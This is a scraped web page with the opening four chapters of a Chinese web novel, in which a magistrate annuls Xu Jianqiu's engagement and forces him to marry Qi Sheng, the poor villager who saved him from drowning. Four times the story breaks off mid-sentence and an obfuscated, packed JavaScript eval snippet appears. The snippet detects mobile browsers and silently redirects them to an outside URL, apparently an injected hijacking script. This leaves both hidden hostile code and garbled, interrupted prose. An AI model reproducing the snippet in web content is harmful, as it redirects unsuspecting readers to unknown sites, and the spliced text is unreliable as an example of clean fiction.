《被判给懒汉当夫郎》 1. 落水 无数的水包围上来,许见秋紧闭着嘴巴,拼命挥舞手脚想要往上。 可他不会凫水,不得要领,脑袋好几次露出水面,“救命”两个字没喊完全就又淹下去,反反复复叫他呛了不少水。 两岸行人来往,有人注意到了他,但没人下水救他。 许见秋后悔自己小时候没学游泳,以至于这会儿陷入绝境。 正当他憋不住气惊恐绝望之时,忽然听见跳水的响声,紧接着有人从后面箍住他的腰,带着他往岸边游。 游到岸边,那人先将他送上去,随后自己爬上来。 许见秋双手撑着地面,吐了几口水,大口呼吸数次,方才看向救命恩人。 是名穿着粗麻衣的年轻男子,也就十七八岁的模样,对方倚着柳树,挑眉打量他,个头很高,五官很端正,气质却有几分轻佻。 许见秋整了整湿透的薄棉衣,站直身体,拱手行礼:“在下许见秋,多谢恩公相救。” “不用谢,给点钱就行。”祁胜拧了拧湿透的衣袖,“我不多要,十文钱足矣。” 不远处的招幌随风摇摆,上书:竹酒,十文一碗。 许见秋看见了,心情顿时复杂,沉默几息才伸手去摸荷包,却摸了个空。 估摸着是掉进水里了。 陆续有人围过来看热闹,许见秋毕竟是个哥儿,不想被这么多人看见自己湿透的模样,出声道:“恩公,我家就在这附近,许家食馆,恩公若是不嫌弃,还请移步到食馆,我想请恩公吃顿便饭。” 话落,面前的男子还没来得及回答,忽然有一道男声传来:“秋哥儿!你怎么湿透了!” 来人是名少年哥儿,穿着一身嫩黄棉衫,他快速跑到许见秋面前,一脸焦急:“呀!你怎么落水了,这个汉子是谁,他怎么也湿透了。” 嫩黄衫嗓门大,引得更多路人往这边看过来。 许见秋不禁蹙眉:“春哥儿,你小声些。” 赵春儿是他大舅的儿子,只比他晚一天出生,因都住在镇上,两人常常一同出行。 今日也是赵春儿约他赏景。 方才赵春儿闹肚子,找茅厕去了,他边等候边观赏沿岸风景。结果,一个黑脸汉子路过,毫无征兆出手推了他一把,将他推进河里。 现在那黑脸早跑没影儿了,他也不认识对方,很难寻人。 “对不住对不住。”赵春儿连连告歉,打了一下自己的嘴巴。 许见秋再度看向救命恩人,对方仍旧靠着柳树,事不关己般把玩一片树叶,满脸写着“无趣”二字。 他正要开口说话,人群中挤出来一名年轻汉子:“秋哥儿?你这是怎么了,落水了?” 男声熟悉,许见秋循声转头,心里不由得叫了一声苦。 年轻汉子身量中等偏上,样貌文弱,穿着一身蓝色细棉长衫,玉簪束发,明眼人一看便知家中富贵。 他是许见秋的未婚夫,名叫胡天楠。 此刻,胡天楠脸上写满了关心,两三步走到许见秋跟前,脱下外衫给他披上,瞥了祁胜一眼:“秋哥儿,这是怎么回事。” “方才是我落水,这位恩人救了我。”许见秋如实相告。 又看了一眼祁胜,胡天楠神色微妙:“他怎么救的你?” 听见质问,许见秋心脏一紧。这世道男哥大防,方才恩人救他,不可避免有肢体接触,若是传扬出去,他的名声就毁了。 “这四周又没有工具,还能怎么救。”祁胜忽然出声,语气有些不着调,“怎么,若是方式方法不合你的意,你还要把他丢回水里,看他淹死不成?” 胡天楠连忙否认:“我没有这个意思,秋哥儿是我未婚夫,我只是关心他。” “既是关心他,为何不先带他回家洗澡换衣,反倒叫他湿着身子,在众目睽睽之下接受质问。” 胡天楠脸上青一阵白一阵,暗自咬了咬牙:“秋哥儿,我送你回家。” “等等。”祁胜往前迈了两步,伸出手,“我救了他,他刚才答应给我十文钱谢礼,但荷包丢了,你既是他未婚夫,你帮他出了吧。” 不过十文钱而已,胡天楠拿出荷包,发现碎铜板不足十文,便捡了最小的一块银子递过去:“这是一钱,别跟着我们。” “谢谢大爷。”祁胜掂了掂银子,心情很好。 赵春儿拉着许见秋的手往食馆方向走,许见秋回头看了一眼,只见人群散去,穿着草鞋麻衣的恩人已经往反方向走了。 还不知道对方叫什么名字,许见秋心想,下次见面得问问。 * 回到许家,许见秋净身换衣,出来后,果然发现胡天楠已经走了。 这会儿是半下午,食馆不到最忙碌的时候,许母赵雪梅正陪着春哥儿说话。 看见他出来,赵雪梅迎上前:“秋儿,我备了些薄礼,你跟我一起去一趟胡家。” 许家开着食馆,生意不错,也算是小富之家。可和胡家比起来,就相形见绌了。 胡家是镇上首富,名下有三家布庄,一家酒楼,一家点心铺,还有上百亩良田。 以许家的门第,许见秋又是个哥儿,本来是够不着胡家门槛的,但胡天楠是妾室所生,又是次子,地位没那么高。 两年前,胡天楠在庙中偶遇许见秋,又在食馆吃过几顿饭,事后主动请媒人来打探,两家才结缘定亲。 胡家门第高,许家自然亲切联络着,胡天楠偶尔也会带着礼品来拜访,对许父许母从无不敬,许家对他很是满意。 今日胡天楠明显不高兴,哥儿不慎落水,是自家理亏,赵雪梅便想登门解释。 许见秋心里知道该去,可情绪上却有些排斥。 自打和胡家定亲后,人人都说他命好,攀上了胡家的高枝,以后当少夫郎,富贵无忧。 可事实上,这两年自家往胡家送的东西,远超胡天楠拿过来的。见到胡老爷胡夫人,自己父母还得做低伏小,处处巴结着。 他若是去胡家,自然也得做低伏小,被人挑拣一番。 “娘,我不想去。”许见秋垂眸道,“今日之事,路上我已经解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405038|200460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 释过了,错不在我,他若是介意,我也没有法子。” “秋儿。”赵雪梅神色严肃,“下个月你们就要成亲了,节骨眼上别任性,去道个歉又不会掉块肉。” “我又没有做错事,我不道歉。”许见秋任性起来,心头浮出几抹委屈。 今日他落水受苦,竟没一个人安慰他,反要他去道歉。 他就是不去,又能怎样,难道要退亲不成? 真退了也挺好,他和爹娘再也不用受胡家的气了。 他心中打定了主意,无论怎么劝都不愿意去,赵雪梅无奈,先让赵春儿回家。 待外人走了后,赵雪梅才关上门,耐心劝说:“秋儿,娘知道你心里委屈,可今日我们必须得去。” “你落水被陌生男子所救之事已经传了出去,若是胡家借题发挥,退亲事小,毁名节事大。” “哥儿最重要的就是名节,若是名声毁了,走到哪里都会有大麻烦。” 许见秋并不是固执之人,经过母亲一番解释,明白了利害,便点头同意:“好吧,就去一趟。” * 母子二人来到胡家,在偏厅等候了约摸一炷香时间,方才看见一名穿着轻纱的中年妇人走进来。 妇人风姿绰约,身后跟着一名小丫鬟。 “亲家。”赵雪梅站起来陪笑寒暄。 许见秋喊了一声姨娘。 这妇人是胡天楠的亲生母亲,胡老爷的妾室胡姨娘。 胡姨娘扫了他们一眼,在主位坐下后,才阴阳怪气地开口:“我可当不起你这声亲家。” 赵雪梅不知该如何回应,只好尬笑。 “上个月我儿天楠考中秀才,位列一等廪生。”说起此事,胡姨娘满面红光,“老爷夸他年少有为,不仅办了贺礼,还说要给他大肆操办婚礼,时间就定在下月上旬。” 她脸色一变:“就在这节骨眼上,你家哥儿却和别的汉子做出丑事,还被那么多人看见,简直是在打我们胡家的脸。” “亲家,您这话就偏颇了,我儿只是不慎被人推下水,并没有做出丑事。”赵雪梅蹙眉。 胡姨娘厉声:“和别的男人搂搂抱抱,还说不是丑事?” “一个小门小户的哥儿,本就配不上我儿,现下出了这等事,你们若是还要脸,就应当主动退亲。” 赵雪梅脸色也冷下来:“你只是个姨娘,退不退亲还得看老爷夫人的意思。” 胡姨娘最恨别人说她只是个妾室,眼下被踩中痛脚,当场激怒:“你儿子就是个破鞋,没男人要的东西,等着被退亲吧,问谁都一样!” 话已至此,双方都没必要再陪笑脸。 赵雪梅拿起桌上的礼品:“秋儿,咱们走。” 母子二人还没走出小院的门,便碰见了胡夫人。 胡夫人年老,已有五十岁,不过身材还未走形,她往常对许家的人总是瞧不上,不怎么搭理,今日却热情寒暄:“雪梅妹子,秋哥儿,你们俩是来找老二的?” “是来退婚的。”赵雪梅还在气头上。 2. 判决 胡夫人略惊:“发生什么事了,是不是谁给你气受了。” “没人给我们气受,是我们自己门户太低,配不上胡家。” “谁说的,谁敢嫌弃你们门户低。”胡夫人佯怒,“当年我和老爷也是从一家布庄经营起来的,那时候兴许还不如你们现在,做人不能忘本。” 又亲切握着许见秋的手道:“再说了,娶妻当娶贤,以我们秋哥儿的品性相貌,配王爷也配得上。” 许见秋低下头,顺势将手抽出来,看似拘谨,其实只是不愿被不熟悉的人拉着手。 胡夫人一番安慰开解,赵雪梅冷静下来,把胡姨娘的话说了。 “骚蹄子捧高踩低,嘴里没一句好话。”胡夫人骂了几句,随后保证说,“妹子你放心,有我在,亲事不可能毁。” “那就多谢夫人了。”赵雪梅脸上终于又有了笑意。 许见秋却蹙了蹙眉。 等离开胡家,许见秋才低声道:“娘,他娘都那么对我了,你还要我嫁进胡家吗。” “傻孩子,胡家若是退亲,你的名声必然受损,三五年内恢复不了,你而今已经十六岁,到哪里去寻比胡家还好的夫家。”赵雪梅心里也是直叹气。 以前胡姨娘对他们态度还不错,谁晓得如今得势后,竟是这副嘴脸。 “往好处想想,胡天楠而今是廪生,每年都能领官府的米粮,还不用服徭役,家里又有奴仆,你跟着他至少有个保障,不用辛苦。”赵雪梅安慰儿子,“至于他娘,只是个妾室无权对你立规矩,说什么你只当耳旁风,少接触便是,笼络好自己男人,有什么矛盾叫他去解决。” 许见秋垂眼,声音更低了些:“若是胡天楠不愿意解决呢。” 就像今天,胡姨娘是从谁口中得知的落水一事?为何他们去了那么久,胡天楠始终不出现? “你多哄哄他,顺着他,你是他的夫郎,他总会向着你一两分。” 可这两年他们家一直顺着胡家,并未得到胡家的相向。 许见秋心里还是不大情愿,然而婚姻之事,向来父母之命媒妁之言,他无权自己决定。 * 转眼间两天过去,忽有捕快来到食馆,张口便喊出许见秋的名字,叫许见秋及其父母上衙门听审。 “官爷,敢问小儿惹了什么事。”许大山在麻布围裙上擦了擦手,往传信的捕快手中塞了二钱银子。 捕快见钱眼开,板着的脸上绽出笑意:“许老板放心,令郎乃是守法良民,并未犯事,今日传讯,是为了令郎的婚事。” 他和盘托出:“胡家两口子为次子胡天楠的婚事争执,一个说要退亲,一个说不退,闹到了县衙,请县太爷裁决,这才请你们到堂一趟。” 闻言,三人面面相觑,脸色都不好看。 柳林镇距离县城很近,捕快又是驾着驴车来的,约摸一刻钟过后,便来到了县衙门前。 拜过县令大人,许见秋站起身,往台上看了一眼,心里悚然一惊。 县令看上去三十来岁,面白体胖,须发稀疏。 若许见秋没记错,他七天前才见过此人,当时县令一身便装,进了食馆。 许见秋以为是一般的员外老爷,照常招呼,询问对方想吃什么,没想到对方直接拿出十两银子,叫他去青楼传话,请最红的姑娘出台。 许见秋是良家哥儿,本就去不得那种地方,更何况特意请妓子来陪着,那能是正常吃饭吗? 是以,为了食馆考虑,许见秋拒绝了县令的十两银子,并严词道:“我们这里是吃饭的地方,不是寻欢作乐的场所,若要妓子作陪,还请移步。” “你这哥儿,本老爷肯在这儿吃饭是给你们面子。”县令一脸不耐烦,“赶紧去办,你不好意思就喊你爹去,男人都知道该怎么办。” 许见秋仍是不去,二人争执起来,吵了一架,县令摔碗离去。 当时许见秋只以为是普通的顾客,心疼两个被摔碎的碗,没想到竟是县令大人。 县令蔡有光也认出了堂下的哥儿。 许家食馆的酱肘子味道很不错,他隔三差五就要吃一回,通常是叫家丁买回来。 前些日子心情好,他亲自去了许家食馆,顺便邀个红倌,不想这哥儿竟不识抬举,将他赶出食馆。 事后他去了青楼,那红倌会说话伺候得他舒心,便将此事抛之脑后,没刻意去找一个哥儿的麻烦。 不过,如今这哥儿自己撞上门,可就怪不着他了。 蔡有光清了清嗓子:“许见秋,本县问你,前日你落水,可是被无穷村的祁胜所救?” 话落,正好衙役来报,说祁胜带到。 等到祁胜上堂,许见秋认出男子确实是救自己的人,便如实承认。 祁胜也承认自己救过许见秋。 “虽有一些接触,但都隔着衣裳,且是情急之下的权宜之计,并非小子刻意冒犯。”祁胜解释。 胡老爷吹胡子瞪眼:“你现在说的好听,谁知道当时什么情况,总之许家哥儿已经脏了,我们胡家绝不要失节之人进门。” 胡夫人道:“做人信义为先,既然我们和许家定下婚约,秋哥儿并未犯事,我们便应当践行承诺,迎娶秋哥儿进门。” 胡夫人话说得漂亮,实则也是为一己之私。 长子是她亲生的,有秀才功名,管理方面也得到老爷认可,是以她一直不把次子放在眼里。可如今,次子得中廪生,若是再迎娶了门当户对的小姐哥儿,有丈人助力,她的亲儿所继承的财产必然会减少。 是以,她极力促成许见秋和胡天楠的婚事。 许见秋心里明镜一般,看着胡氏夫妻争论,内心毫无波澜。 蔡有光惦记着没吃完的牛肉馅饼,不想多耽搁时辰,不等许家表态,便惊堂木一拍,直接宣判:“此事本县已知悉内情,许家哥儿落水失节为实,因此胡许两家婚约作废,若收了聘礼嫁妆,限三日内全数退还。” 继续道:“无穷村祁胜既与许家哥儿有了肌肤之亲,当负起责任,本县做主,许见秋嫁与祁胜为夫郎,立即登记。” ——国法规定,结婚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405039|200460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要在县衙登记,更换身份文牒。 不过跑到县衙路途遥远,又怕衙役盘剥,民间很多百姓是不登记的,他们只请村长写婚书,官府也认。 祁胜怎么也没想到自己只是做了件好事,竟要被迫娶个夫郎,听见判决下意识拒绝:“大人,你不能这么判……” “退堂!”蔡有光就像没听见似的,径直起身,进了后堂。 师爷则迎上前:“恭喜二位得县令大人赐婚,走吧,随我去登记。” 许见秋悄悄看了祁胜一眼,见对方剑眉紧锁,自己也不禁皱眉。 许父许母就更不用说了。 祁胜是无穷村的人,无穷村是个什么样的地方,没见过还没听说过吗。 那里地理位置偏僻,水田旱地都不肥,山上也没什么好东西,素有“穷村”之称。 再看祁胜的打扮,肉眼可见的穷。 谁会想自家孩子嫁到穷家? 许大山面露难色:“师爷,大人这判决……” “大人金口玉言,话说出口便没有更改的可能性。”师爷知道他想说什么,“依我看,这祁胜也是相貌堂堂,你家哥儿嫁给他也般配。” “般配什么呀,相貌又不能当饭吃。”赵雪梅忍不住说。 许见秋反过来安慰父母:“爹,娘,钱可以慢慢挣,若是进了胡家那等狼窝,才是没了希望。” “对对对,还是年轻哥儿明事理。”师爷伸手做出请的动作,再次道,“二位,随我去登记。” 许见秋迈出步子,回头看了一眼祁胜,对方才跟上。 因是县太爷下的命令,他们登记没有任何人敢为难,很快便拿到了新文牒,师爷离去。 两人一块儿往县衙门口走,许见秋心脏砰砰直跳,手指不自主攥到一起,弄不清自己是害怕还是期待。 亦或者皆有之。 在他看来,嫁给祁胜比嫁给胡天楠要好。 今日胡天楠一直没露面,就像隐身了一样。 他不知道胡天楠在做什么,但他知道胡天楠一定不会站在自己这边。 祁胜好像也不喜欢自己,但没关系,感情可以慢慢培养。 — 两人各怀心思走到县衙门口,和许父许母汇合。 许父早已拦下一辆驴车,一行人坐着车,先回了许家食馆。 食馆挂上“暂停营业”的牌子,大门一关,许家人全都聚在堂屋,对祁胜进行询问。 祁胜的情况很简单,外地流浪来的,无父无母,两间破屋,一只狸奴。 连一亩地都没有,平日里靠打短工过活,存款只有一钱。 问清楚后,许家个个面如土色,就连许见秋心里也蒙上了一层阴霾。 祁胜似无所觉,把玩着一只小巧茶杯,语气轻松:“虽然我什么都没有,但我也不需要夫郎,你们若觉得秋哥儿跟着我受苦,便继续留他在家里,我绝无二话。” 都已经在县衙登记过了,留在家里难道能改变吗? “若要休书,我现在就可以写。” 3. 无穷村 “不要休书。”许见秋脱口而出。 许家人都看向他,他后知后觉低下头,耳根滚烫。 “确实不能要休书。”赵雪梅叹气,“秋哥儿被县太爷定性失节,若是再被休弃,日后便真的嫁不出去了。” 祁胜道:“嫁不出去难道比嫁给我这种穷鬼懒汉更可怕?” “哥儿嫁不出去,咱们一家子都脸上无光,会遭人耻笑的。”许大山愁着脸。 祁胜道:“嫁给我这种穷鬼懒汉,难道就不遭人耻笑?” 满屋子人顿时沉默。 半晌,还是祁胜开口:“既然伸头缩头都是一刀,你们再考虑考虑吧,我家远,得回家了。” “老二,你送送哥婿。”许大山发话。 许成林站起来,引祁胜去后院。 等祁胜走后,年龄最小的老四许成州道:“二哥,我看你就留在家里好了,乡下都穷,而且我听说连卖油的都没有,做什么都不方便,你又不会种地,嫁过去要吃苦的。” 许见秋排行老三,许成州喊二哥,是因为许家老大是名姑娘,叫许见月,已经出嫁了,这会儿不在。 许大山皱着眉头道:“留在镇上是能好过一些,可县太爷判你哥嫁给祁胜,若他不嫁,只怕衙门里的人会来找麻烦。” 话音刚落,就听见有人敲门。 许见秋去开门,发现来者是捕快。 果然如许父所料,捕快是来通知他们,县太爷说了,许见秋必须嫁去穷村,限期两日搬离。 “别想着钻空子,你们俩已在县衙登记过,就算祁胜写了休书,只要衙门不认,你们就一辈子是夫夫,永远改不了。”捕快撂下话。 重新关上门,见屋内愁云笼罩,许见秋开解道:“不就是嫁人嘛,祁胜虽然穷,可他好歹有房子,能遮风挡雨,我们俩好手好脚,还能饿死不成?” 事情到了如此地步,赵雪梅也只能自我安慰:“说的也是,钱都是挣出来的,只要勤劳,迟早会有。” * 次日,半下午。 无穷村的村口有一块石碑,上方刻着“无穷村”三个字,下方记载的是当年建村人的姓名。 驴车快速驶过,许见秋只来得及看几眼,一个人名都没看清。 很快,驴车行驶到一处空地前,许成林“吁”声叫停毛驴,将驴拴在一棵碗口粗的杨树上。 许见秋跳下车,看向面前的两间泥瓦房。 看上去并没有什么稀奇的,只是有些破旧,不过无穷村的房子大多破旧。 墙角有一只黑狸奴趴着,听见人声,狸奴支起爪子,警惕地看向来人。 许成林走上前敲门:“祁胜在吗,开一下门。” “门没关。”屋内传来男子懒洋洋的声音。 许成林推开门,让许见秋先进去,自己去拿驴车上的行李。 祁胜听见“秋哥儿”三个字,蓦地弹坐起来,身下的老木板床发出吱呀响声。 下一瞬,他听见了哥儿的声音:“你是在午睡吗。” 对方没踏进来,是隔着门板的声音。 祁胜快速把周围的乱衣服塞进柜子里,清了清嗓子:“对,你们先别进来。” 他怎么也没想到许见秋会来。昨日许成林把他送到家,目睹家境,虽然没说什么,但眼神是明显的嫌弃。 既是嫌弃,又为何会把亲弟弟送过来?难道真舍得许见秋当他夫郎? 祁胜套上草鞋,觉得世上没这么好的事,这两个人应当是来要休书的。 思及此,他重新镇定下来,也不在乎屋里乱不乱了。 走到门口,却对上一个大包袱。 “这些是我的行李,请问放哪儿?”许见秋抬眸,开口询问。 祁胜:“……你还真来给我当夫郎?” “县太爷的命令,没有办法。”许成林把捕快的通知说了一遍。 难怪。 祁胜让开通道:“先放床上吧。” 他就两间房,一间是厨房兼柴房,另一间就是他的卧房,没有堂屋。 许成林把包袱放到床上,看着这间憋屈的小房子,心里一时间酸楚不已,有很多话想说,又不知该如何开口。 “哥。”许见秋看出兄长的情绪,温声道,“傍晚食馆忙碌,你快些回去吧,我这边若是出了什么问题,会自己回家的。” 事成定局,许成林只得点头:“你照顾好自己,过几天我带爹娘和成州来看你。” “好。” 许见秋送兄长出去,一直到看不见驴车的影子,才折身回来。 祁胜倚在门框上,原本想说几句玩笑话调节气氛,无意间瞥见哥儿红着的眼眶,准备好的措词顿时卡在嗓子眼,说不出口了。 “别难过,县太爷不可能总是盯着咱们,等过个一两年,我们就去县衙和离,到时候你想嫁人或者想做什么都行。”祁胜不太熟练地安慰道。 许见秋听见这话,原本能忍住的眼泪倏地掉落,如断了线的珠子一般。 他来之前分明没觉得怎样,也做好了吃苦的准备,可这会儿不知道怎么了,眼泪就是止不住。 祁胜心中着急,可不会安慰人,翻来覆去就一句“别哭了”。 好一会儿过去,许见秋的情绪才重新稳定下来,擦干眼泪:“我去收拾东西。” 他带来的包袱极大,里面不仅有首饰衣裳,还有两床被褥,以及他常用的笔墨纸砚、茶杯茶壶、针线篮、话本子、奇巧小玩意儿…… 祁胜看着哥儿一样样拿出东西,心道果然不是一路人。 按照许见秋这种精致过法,他就算天天打工也养不起。 “我就这一个柜子,还有一张桌子,你的东西随便放吧,放不下就把我的拿出来。” 许见秋点点头,打开五尺高三尺宽的柜子,只见一团杂乱衣物被褥,堆起来不到半满。 他蹙了蹙眉,将里面的东西全部拿到床上。 祁胜见状,心道这么狠,一点位置不给自己留。 然而,许见秋并不是不给对方留位置,而是想将所有衣裳重新整理折叠好,再放进去。 若是有味不干净的,便继续放在外头,留着明日清洗。 将两人的衣裳被褥全部收理好,窗外已红霞满天。 针线篮放在床头,茶杯等放在桌上。 许见秋站起来,向窗外道:“我都收拾好了,你进来吧。” 刚才他开始整理自己的衣裳时,祁胜像是为了避嫌,出去了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405040|200460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听见呼喊,祁胜端着两个粗瓷碗进来,递给他一个:“晚饭,吃吧。” 只见碗里装着两个拳头大的糙馒头,再无其它。 祁胜碗中也是同样。 许见秋不是挑拣的人,他去烧了一壶热水,配着热水,将两个馒头吃了。 此时,天色也暗了下来。 两个人蹲在外面刷牙,舀水洗脚,随后回到屋子里,许见秋掌心不自觉收紧:“我们……休息吧。” 昨夜母亲已经跟他讲过该如何做了,但他并没有做好心理准备,不知若是拒绝了,祁胜会不会生气。 “你困了就睡。”祁胜似乎知道他在想什么,“放心,我不跟你睡一起。” 许见秋问道:“你要睡哪里?” “我去厨房睡,暖和。” ——如今是初秋,白日里干活嫌热,夜晚又有点凉。 “厨房可能有虫子,就在这里睡吧。”许见秋低声道,“只要不脱衣服就好。” 祁胜“啧”了一声,语气轻佻:“我若留在这里,你就得真给我当夫郎,可想好了?” 许见秋道:“我们在衙门登记过,我本就是你夫郎。” “真听不懂我的意思?” 许见秋面颊燥热,低下头不接话了。 几息后,祁胜两步走到床前,脱鞋躺下:“过来睡吧,我不碰你。” * 许见秋生怕对方言行不一,又是头一次和陌生男子睡在一起,直到后半夜才睡着,等醒来时,天已经大亮了。 祁胜不知去了哪里,他梳好头发走出去,才发觉对方在厨房。 “醒得正好,粥在锅里,自己盛吧。”祁胜说着,打了个哈欠。 许见秋打开草锅盖,看见了一小锅杂粮稀饭,明显还没人动过。 他先给祁胜盛了一大半,剩下的一部分盛进自己碗里,另一部分喂狸奴,而后趁热将锅刷了。 “真勤快,下一顿饭你来做。”祁胜站在门口喝粥,不客气地道。 家家户户都是女人哥儿做饭,许见秋闻言不觉得有什么,点头应下:“好。” 他拿起勺子舀碗底下的杂粮,送入口中,方察觉生硬难吃。 杂粮粗硬,得提前泡一下,熬煮够时辰,加入适量糖,才能清甜可口。 祁胜煮的勉强算熟了,没加糖,自然难吃。 不动声色喝完一碗,许见秋道:“家里的粮食都在厨房吧,米缸是这个吗?” 他掀开缸盖,看见里面杂粮已经见底了。 再掀开另一个缸,空的。 “家里就剩一斤杂粮,二两油,二两盐,其它什么都没有了。”祁胜说。 许见秋不由得沉默。 “今天不干活,晌午煮粥就行了。”祁胜又打了个哈欠,“我补觉去了,你自便。” 说罢,祁胜当真回屋睡觉了。 许见秋没多想,他取出二两杂粮泡上,在门口空地转了一圈,盘算着该种些什么菜来改善生活。 正当他规划时,忽然听见有人喊“喂”。 他循声看去,只见土道上站着一名比他矮半个脑袋的哥儿。 “你叫我?” “这里除了你,还有别人吗?”哥儿歪了歪头。 4. 懒汉 许见秋露出一道友好的笑容,自我介绍:“我是祁胜的夫郎,名叫许见秋,你是这村里的哥儿?” “你是祁胜的夫郎?!”那哥儿睁大眼睛,微张着嘴巴,语气明显震惊。 许见秋点点头,解释道:“我和祁胜前几日才在县衙登记成婚,昨日才搬过来,没来得及办酒席。” “我的天呐……”哥儿又将他上上下下打量几遍,眼里的不可置信越来越多。 许见秋觉得奇怪,加重语气再次问道:“你是无穷村的哥儿吗。” “我是啊,我姓冯,叫冯四哥,你管我叫四哥儿就行。” 许见秋道:“四哥儿,我才来到无穷村,对这里不熟悉,你能不能跟我说说村里的情况。” “能啊,就是我这会儿要去堰塘里收网,你要是没事可以跟我一起。” 见冯四哥确实提着预备装鱼的木桶,许见秋应下:“好,我跟你一起。” 两人一块儿往庄稼地里走,冯四哥道:“我们村没什么特别的,就是很穷,能搬走的早就搬走了。你看这些庄稼,长的都不好,一亩地最多收两百斤,有些连一百斤都收不到。” 已经是初秋,稻谷玉米都快要成熟,长势好坏一眼就能看出来,普遍稀疏,就像没人打理似的。 可事实上,这已是村民用心照料的结果。 冯四哥多看了几眼自家田地,见同样稀疏,心里一阵难受。 不过想到祁胜家连田地都没有,又觉得自家好些。 “对了,你原来是哪里的人,怎么会嫁给祁胜?” “我就是柳林镇的,有一次不慎落水,祁胜救了我,后来就嫁给他了。” 闻言,冯四哥瞬觉自己明白了真相:“你一定是被他给骗了!” “此话怎讲?” 冯四哥道:“祁胜他是我们村出了名的懒汉,明明年轻力壮的,可就是不愿意干活,三天打鱼两天晒网,还说什么存钱买地没有用,饿不死就行。” “你要真是柳林镇的,这会儿悔婚还来得及,真跟着他,你以后也要饥一顿饱一顿了。” 冯四哥的神情不像在说假话,自己早上也确实没吃饱,许见秋不由得微微蹙眉。 “我说的都是真话,你随便找一个人都能打听出来,或者过几天你自己就知道了,祁胜那个人,就算勤快起来也装不了几天。” 说话间到了堰塘边。 堰塘里没多少水,冯四哥放下木桶,脱了草鞋,卷起裤腿,直接踩下去。 许见秋站在岸上,还在消化冯四哥的话。 若祁胜真如对方所说,该怎么办? 回娘家吗? 回家,家里定是会接纳他的,可……可他觉得祁胜没有那么差。 对方救过他,而且对他还不错,昨夜说不会碰他,就真的一整夜规规矩矩。 若只是有点懒,他督促对方勤劳便是。 想通关窍,见四下无人,他也卷起裤腿下了堰塘。 虽是镇上的人,但他小时候常去爷爷奶奶、外公外婆家玩,和村里的小孩一起摸过鱼虾。 他刚才看见了一条鱼,个头不小,若是能捉到,晌午便能加餐了。 堰塘的水只到腿弯,脚陷进淤泥里,周遭的水暂时变得浑浊。 许见秋等了一会儿,等水变清澈后,才集中精神观察,看见鱼便立即出手。 爷爷教过他,河水会骗人,鱼实际上的位置是在人眼看见的往下一点。 他牢记这一点,出手也尽量迅捷,但还是抓了个空。 不过他并不气馁,又盯住一个地方,看好后两只手迅速往水里插。 这次没有扑空,巴掌大的鲫鱼在手心挣扎,滑溜溜的,差点握不住。 许见秋不自觉弯唇,眸底流露出几分喜色,将鱼扔到岸上,继续抓捕。 冯四哥将网扯上岸,正往桶里放鱼虾。 大的放进桶,小的就扔回去,如此鱼虾才不会绝种,往后还能继续捕。 等他整理好,许见秋正好又捉到了一条。 也是条鲫鱼,比刚才那条要大一点。 “你跟我一起回去,还是继续抓?”冯四哥问道。 许见秋道:“回去吧。” 天热,鱼放不住,够今天晌午吃就行了。 上岸穿上鞋子,许见秋道:“我把鱼放在你的桶里行吗,我可以帮你拎桶。” “行啊,反正是我占便宜。”冯四哥没意见。 两人提着大木桶往回走,许见秋问了冯四哥挑水和洗衣裳的地方。 冯四哥回答完,又指着不远处道:“你若是要回镇上,可以走那条路,那条路每日天亮后会经过一辆驴车,三文钱坐车去镇上,若是捎带东西,也是三文。” 许见秋记下了:“谢谢。” “我家就在池塘边,那几间连在一起的土房子就是,你若是有什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405041|200460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需要帮忙的,尽管去找我。” 许见秋再度道谢。 冯四哥别开眼,有点不好意思道:“你好客气啊,长的也好看。” 许见秋微怔,旋即笑道:“你也好看。” “害,我长的就一般,你才是真的好看,我都没见过像你这样好看的哥儿。”冯四哥真心道。 许见秋身量中上,脸蛋红润白皙,因为从没有干过粗活,十指纤长。这样的条件,自然比村里人都好看。 可这样的神仙哥儿嫁给了祁胜,冯四哥再度在心里为对方感到可惜。 不过没再开口劝许见秋离开,该说的情况他已经说了,接下来怎么办,是许见秋自己的事。 